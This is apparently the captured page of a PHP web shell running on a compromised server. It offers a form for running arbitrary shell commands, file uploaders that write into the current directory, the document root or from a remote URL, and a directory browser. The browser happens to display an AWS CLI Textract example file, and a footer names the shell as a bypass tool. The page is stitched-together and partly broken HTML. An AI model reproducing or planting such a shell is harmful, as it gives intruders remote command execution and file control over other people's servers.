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<html>

  <head>

  <title></title>
</head>
<body>
  <br></br>
  <center><h1>nadelinn - rinduu</h1></center>
</body>
<form method="post">
<font face=courier new size=4>Command :</font> <input type="text" class="area" name="cmd" size="30" height="20" value="ls -la" style="margin: 5px auto; padding-left: 5px;" required><br>
<button type="submit">Execute</button>
</form><hr>

</script> <div id="app"> <g size="1px">ikan</h1> <span class="sub">Uploader :</span>  <form method="post" enctype="multipart/form-data"> <input type="text" name="dir" size="30" value="<? echo getcwd(); ?>"> <input type="file" name="file" size="15"> <input type="submit" value="Upload"> </form> 
<!DOCTYPE html>
<html>
Directory : &nbsp;<a href="?path=/">/</a><a href="?path=//usr">usr</a>/<a href="?path=//usr/share">share</a>/<a href="?path=//usr/share/doc">doc</a>/<a href="?path=//usr/share/doc/awscli">awscli</a>/<a href="?path=//usr/share/doc/awscli/examples">examples</a>/<a href="?path=//usr/share/doc/awscli/examples/textract">textract</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ <font color='red'>Writeable</font> ]
<input type="radio" value="2" name="dirnya" >document_root [ <font color='red'>Writeable</font> ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://example.com/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form><tr><td>Current File : //usr/share/doc/awscli/examples/textract/start-document-text-detection.rst</tr></td></table><br/><pre>**To start detecting text in a multi-page document**

The following ``start-document-text-detection`` example shows how to start asynchronous detection of text in a multi-page document. ::

    aws textract start-document-text-detection --document-location '{&quot;S3Object&quot;:{&quot;Bucket&quot;:&quot;reescheastv&quot;,&quot;Name&quot;:&quot;doctest.png&quot;}}' --notification-channel &quot;SNSTopicArn=topicARN,RoleArn=roleARN&quot;

The command returns output similar to the following. ::

    {
        &quot;JobId&quot;: &quot;57849a3dc627d4df74123dca269d69f7b89329c870c65bb16c9fd63409d200b9&quot;
    }

For more information, see `Detecting and Analyzing Text in Multi-Page Documents`_ in the *Amazon Textract Developers Guide*

.. _`Detecting and Analyzing Text in Multi-Page Documents`: https://docs.aws.amazon.com/textract/latest/dg/async.html</pre><center><br>Kontol Shell Bypass</center>